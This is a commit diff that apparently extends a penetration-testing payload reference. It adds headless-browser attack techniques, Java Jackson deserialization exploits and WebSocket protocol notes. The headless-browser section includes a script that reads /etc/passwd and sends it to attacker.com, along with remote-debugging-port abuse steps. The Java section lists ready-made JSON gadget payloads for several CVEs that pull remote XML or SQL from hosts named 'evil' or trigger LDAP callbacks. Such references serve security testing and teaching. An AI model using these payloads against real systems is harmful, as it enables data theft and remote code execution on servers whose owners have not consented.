Skip to content

Commit 3fd2f8c

Browse files
committed
Headless Browser + JSON Jackson
1 parent aaf6bdf commit 3fd2f8c

File tree

3 files changed

+192
-7
lines changed

3 files changed

+192
-7
lines changed

Headless Browser/README.md

Lines changed: 61 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -7,10 +7,11 @@
77

88
* [Headless Commands](#headless-commands)
99
* [Local File Read](#local-file-read)
10-
* [Debugging Port](#debugging-port)
10+
* [Remote Debugging Port](#remote-debugging-port)
1111
* [Network](#network)
1212
* [Port Scanning](#port-scanning)
1313
* [DNS Rebinding](#dns-rebinding)
14+
* [CVE](#cve)
1415
* [References](#references)
1516

1617
## Headless Commands
@@ -37,6 +38,31 @@ Example of headless browsers commands:
3738
3839
## Local File Read
3940
41+
### Insecure Flags
42+
43+
If the target is launched with the `--allow-file-access` option
44+
45+
```ps1
46+
google-chrome-stable --disable-gpu --headless=new --no-sandbox --no-first-run --disable-web-security -–allow-file-access-from-files --allow-file-access --allow-cross-origin-auth-prompt --user-data-dir
47+
```
48+
49+
Since the file access is allowed, an atacker can create and expose an HTML file which captures the content of the `/etc/passwd` file.
50+
51+
```js
52+
<script>
53+
async function getFlag(){
54+
response = await fetch("file:///etc/passwd");
55+
flag = await response.text();
56+
fetch("https://attacker.com/", { method: "POST", body: flag})
57+
};
58+
getFlag();
59+
</script>
60+
```
61+
62+
### PDF Rendering
63+
64+
Consider a scenario where a headless browser captures a copy of a webpage and exports it to PDF, while the attacker has control over the URL being processed.
65+
4066
Target: `google-chrome-stable --headless[=(new|old)] --print-to-pdf https://site/file.html`
4167

4268
* Javascript Redirect
@@ -61,7 +87,9 @@ Target: `google-chrome-stable --headless[=(new|old)] --print-to-pdf https://site
6187
</html>
6288
```
6389

64-
## Debugging Port
90+
## Remote Debugging Port
91+
92+
The Remote Debugging Port in a headless browser (like Headless Chrome or Chromium) is a TCP port that exposes the browser’s DevTools Protocol so external tools (or scripts) can connect and control the browser remotely. It usually listen on port **9222** but it can be changed with `--remote-debugging-port=`.
6593

6694
**Target**: `google-chrome-stable --headless=new --remote-debugging-port=XXXX ./index.html`
6795

@@ -77,10 +105,21 @@ Target: `google-chrome-stable --headless[=(new|old)] --print-to-pdf https://site
77105

78106
* Connect and interact with the browser: `chrome://inspect/#devices`, `opera://inspect/#devices`
79107
* Kill the currently running browser and use the `--restore-last-session` to get access to the user's tabs
80-
* Dump cookies:
81-
* Stored data: `chrome://settings`
108+
* Data stored in the settings (username, passwords, token): `chrome://settings`
82109
* Port Scan: In a loop open `http://localhost:<port>/json/new?http://callback.example.com?port=<port>`
83110
* Leak UUID: Iframe: `http://127.0.0.1:<port>/json/version`
111+
112+
```json
113+
{
114+
"Browser": "Chrome/136.0.7103.113",
115+
"Protocol-Version": "1.3",
116+
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/136.0.0.0 Safari/537.36",
117+
"V8-Version": "13.6.233.10",
118+
"WebKit-Version": "537.36 (@76fa3c1782406c63308c70b54f228fd39c7aaa71)",
119+
"webSocketDebuggerUrl": "ws://127.0.0.1:9222/devtools/browser/d815e18d-57e6-4274-a307-98649a9e6b87"
120+
}
121+
```
122+
84123
* Local File Read: [pich4ya/chrome_remote_debug_lfi.py](https://gist.github.com/pich4ya/5e7d3d172bb4c03360112fd270045e05)
85124
* Node inspector `--inspect` works like a `--remote-debugging-port`
86125

@@ -122,6 +161,23 @@ Port Scanning: Timing attack
122161
5. Chrome will attempt to connect to the IPv6 but as it will fail it will fallback to the IPv4
123162
6. From top window, inject script into iframe to exfiltrate content
124163

164+
## CVE
165+
166+
Exploiting a headless browser using a known vulnerability (CVE) involves several steps, from vulnerability research to payload execution. Below is a structured breakdown of the process:
167+
168+
Identify the headless browser with the User-Agent, then choose an exploit targeting the browser's component: V8 engine, Blink renderer, Webkit, etc.
169+
170+
* Chrome CVE: [2024-9122 - WASM type confusion due to imported tag signature subtyping](https://issues.chromium.org/issues/365802567), [CVE-2025-5419 - Out of bounds read and write in V8](https://nvd.nist.gov/vuln/detail/CVE-2025-5419)
171+
* Firefox : [CVE-2024-9680 - Use after free](https://nvd.nist.gov/vuln/detail/CVE-2024-9680)
172+
173+
The `--no-sandbox` option disables the sandbox feature of the renderer process.
174+
175+
```js
176+
const browser = await puppeteer.launch({
177+
args: ['--no-sandbox']
178+
});
179+
```
180+
125181
## References
126182

127183
* [Browser based Port Scanning with JavaScript - Nikolai Tschacher - January 10, 2021](https://incolumitas.com/2021/01/10/browser-based-port-scanning/)
@@ -131,3 +187,4 @@ Port Scanning: Timing attack
131187
* [Node inspector/CEF debug abuse - HackTricks - July 18, 2024](https://book.hacktricks.xyz/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse)
132188
* [Post-Exploitation: Abusing Chrome's debugging feature to observe and control browsing sessions remotely - wunderwuzzi - April 28, 2020](https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/)
133189
* [Tricks for Reliable Split-Second DNS Rebinding in Chrome and Safari - Daniel Thatcher - December 6, 2023](https://www.intruder.io/research/split-second-dns-rebinding-in-chrome-and-safari)
190+
* [Too Lazy to get XSS? Then use n-days to get RCE in the Admin bot - Jopraveen - March 2, 2025](https://jopraveen.github.io/web-hackthebot/)

Insecure Deserialization/Java.md

Lines changed: 100 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -130,8 +130,102 @@ Payload generators for the following marshallers are included:
130130
| XStream | **JDK only RCEs** |
131131
| YAMLBeans | third party RCE |
132132

133+
## JSON Deserialization
134+
135+
Multiple libraries can be used to handle JSON in Java.
136+
137+
* [json-io](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#json-io-json)
138+
* [Jackson](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#jackson-json)
139+
* [Fastjson](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#fastjson-json)
140+
* [Genson](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json)
141+
* [Flexjson](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#flexjson-json)
142+
* [Jodd](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#jodd-json)
143+
144+
**Jackson**:
145+
146+
Jackson is a popular Java library used for working with JSON (JavaScript Object Notation) data.
147+
Jackson-databind supports Polymorphic Type Handling (PTH), formerly known as "Polymorphic Deserialization", which is disabled by default.
148+
149+
To determine if the backend is using Jackson, the most common technique is to send an invalid JSON and inspect the error message. Look for references to either of those:
150+
151+
```java
152+
Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.MismatchedInputException: Unexpected token (START_OBJECT), expected START_ARRAY: need JSON Array to contain As.WRAPPER_ARRAY type information for class java.lang.Object
153+
```
154+
155+
* com.fasterxml.jackson.databind
156+
* org.codehaus.jackson.map
157+
158+
**Exploitation**:
159+
160+
* **CVE-2017-7525**
161+
162+
```json
163+
{
164+
"param": [
165+
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
166+
{
167+
"transletBytecodes": [
168+
"yv66v[JAVA_CLASS_B64_ENCODED]AIAEw=="
169+
],
170+
"transletName": "a.b",
171+
"outputProperties": {}
172+
}
173+
]
174+
}
175+
```
176+
177+
* **CVE-2017-17485**
178+
179+
```json
180+
{
181+
"param": [
182+
"org.springframework.context.support.FileSystemXmlApplicationContext",
183+
"http://evil/spel.xml"
184+
]
185+
}
186+
```
187+
188+
* **CVE-2019-12384**
189+
190+
```json
191+
[
192+
"ch.qos.logback.core.db.DriverManagerConnectionSource",
193+
{
194+
"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'"
195+
}
196+
]
197+
```
198+
199+
* **CVE-2020-36180**
200+
201+
```json
202+
[
203+
"org.apache.commons.dbcp2.cpdsadapter.DriverAdapterCPDS",
204+
{
205+
"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://evil:3333/exec.sql'"
206+
}
207+
]
208+
```
209+
210+
* **CVE-2020-9548**
211+
212+
```json
213+
[
214+
"br.com.anteros.dbcp.AnterosDBCPConfig",
215+
{
216+
"healthCheckRegistry": "ldap://{{interactsh-url}}"
217+
}
218+
]
219+
```
220+
133221
## YAML Deserialization
134222

223+
* [SnakeYAML](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#snakeyaml-yaml)
224+
* [jYAML](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#jyaml-yaml)
225+
* [YamlBeans](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#yamlbeans-yaml)
226+
227+
**SnakeYAML**:
228+
135229
SnakeYAML is a popular Java-based library used for parsing and emitting YAML (YAML Ain't Markup Language) data. It provides an easy-to-use API for working with YAML, a human-readable data serialization standard commonly used for configuration files and data exchange.
136230

137231
```yaml
@@ -204,15 +298,18 @@ Common secrets from the [documentation](https://cwiki.apache.org/confluence/disp
204298
## References
205299

206300
* [Detecting deserialization bugs with DNS exfiltration - Philippe Arteau - March 22, 2017](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
301+
* [Exploiting the Jackson RCE: CVE-2017-7525 - Adam Caudill - October 4, 2017](https://adamcaudill.com/2017/10/04/exploiting-jackson-rce-cve-2017-7525/)
207302
* [Hack The Box - Arkham - 0xRick - August 10, 2019](https://0xrick.github.io/hack-the-box/arkham/)
208303
* [How I found a $1500 worth Deserialization vulnerability - Ashish Kunwar - August 28, 2018](https://medium.com/@D0rkerDevil/how-i-found-a-1500-worth-deserialization-vulnerability-9ce753416e0a)
209304
* [Jackson CVE-2019-12384: anatomy of a vulnerability class - Andrea Brancaleoni - July 22, 2019](https://blog.doyensec.com/2019/07/22/jackson-gadgets.html)
305+
* [Jackson gadgets - Anatomy of a vulnerability - Andrea Brancaleoni - 22 Jul 2019](https://blog.doyensec.com/2019/07/22/jackson-gadgets.html)
306+
* [Jackson Polymorphic Deserialization - FasterXML - July 23, 2020](https://github.com/FasterXML/jackson-docs/wiki/JacksonPolymorphicDeserialization)
307+
* [Java Deserialization Cheat Sheet - Aleksei Tiurin - May 23, 2023](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md)
210308
* [Java Deserialization in ViewState - Haboob Team - December 23, 2020](https://www.exploit-db.com/docs/48126)
211-
* [Java-Deserialization-Cheat-Sheet - Aleksei Tiurin - May 23, 2023](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md)
212309
* [JSF ViewState upside-down - Renaud Dubourguais, Nicolas Collignon - March 15, 2016](https://www.synacktiv.com/ressources/JSF_ViewState_InYourFace.pdf)
213310
* [Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - Peter Stöckli - August 14, 2017](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
214-
* [Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - Peter Stöckli - August 14, 2017](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
215-
* [On Jackson CVEs: Don’t Panic — Here is what you need to know - cowtowncoder - December 22, 2017](https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062#da96)
311+
* [On Jackson CVEs: Don’t Panic — Here is what you need to know - cowtowncoder - December 22, 2017](https://cowtowncoder.medium.com/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062)
216312
* [Pre-auth RCE in ForgeRock OpenAM (CVE-2021-35464) - Michael Stepankin (@artsploit) - June 29, 2021](https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464)
217313
* [Triggering a DNS lookup using Java Deserialization - paranoidsoftware.com - July 5, 2020](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/)
218314
* [Understanding & practicing java deserialization exploits - Diablohorn - September 9, 2017](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
315+
* [Friday the 13th JSON Attacks - Alvaro Muñoz & Oleksandr Mirosh - July 28, 2017](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)

Web Sockets/README.md

Lines changed: 31 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,8 @@
66

77
* [Tools](#tools)
88
* [Methodology](#methodology)
9+
* [Web Socket Protocol](#web-socket-protocol)
10+
* [SocketIO](#socketio)
911
* [Using wsrepl](#using-wsrepl)
1012
* [Using ws-harness.py](#using-ws-harnesspy)
1113
* [Cross-Site WebSocket Hijacking (CSWSH)](#cross-site-websocket-hijacking-cswsh)
@@ -21,6 +23,34 @@
2123

2224
## Methodology
2325

26+
### Web Socket Protocol
27+
28+
WebSockets start as a normal `HTTP/1.1` request and then upgrade the connection to use the WebSocket protocol.
29+
30+
The client sends a specially crafted HTTP request with headers indicating it wants to switch to the WebSocket protocol:
31+
32+
```http
33+
GET /chat HTTP/1.1
34+
Host: example.com:80
35+
Upgrade: websocket
36+
Connection: Upgrade
37+
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
38+
Sec-WebSocket-Version: 13
39+
```
40+
41+
Server responds with an `HTTP 101 Switching Protocols` response. If the server accepts the request, it replies like this.
42+
43+
```http
44+
HTTP/1.1 101 Switching Protocols
45+
Upgrade: websocket
46+
Connection: Upgrade
47+
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
48+
```
49+
50+
### SocketIO
51+
52+
Socket.IO is a JavaScript library (for both client and server) that provides a higher-level abstraction over WebSockets, designed to make real-time communication easier and more reliable across browsers and environments.
53+
2454
### Using wsrepl
2555

2656
`wsrepl`, a tool developed by Doyensec, aims to simplify the auditing of websocket-based apps. It offers an interactive REPL interface that is user-friendly and easy to automate. The tool was developed during an engagement with a client whose web application heavily relied on WebSockets for soft real-time communication.
@@ -132,6 +162,7 @@ in order to add this header.
132162

133163
## References
134164

165+
* [Cross Site WebSocket Hijacking with socketio - Jimmy Li - August 17, 2020](https://blog.jimmyli.us/articles/2020-08/Cross-Site-WebSocket-Hijacking-With-SocketIO)
135166
* [Hacking Web Sockets: All Web Pentest Tools Welcomed - Michael Fowl - March 5, 2019](https://web.archive.org/web/20190306170840/https://www.vdalabs.com/2019/03/05/hacking-web-sockets-all-web-pentest-tools-welcomed/)
136167
* [Hacking with WebSockets - Mike Shema, Sergey Shekyan, Vaagn Toukharian - September 20, 2012](https://media.blackhat.com/bh-us-12/Briefings/Shekyan/BH_US_12_Shekyan_Toukharian_Hacking_Websocket_Slides.pdf)
137168
* [Mini WebSocket CTF - Snowscan - January 27, 2020](https://snowscan.io/bbsctf-evilconneck/#)

0 commit comments

Comments
 (0)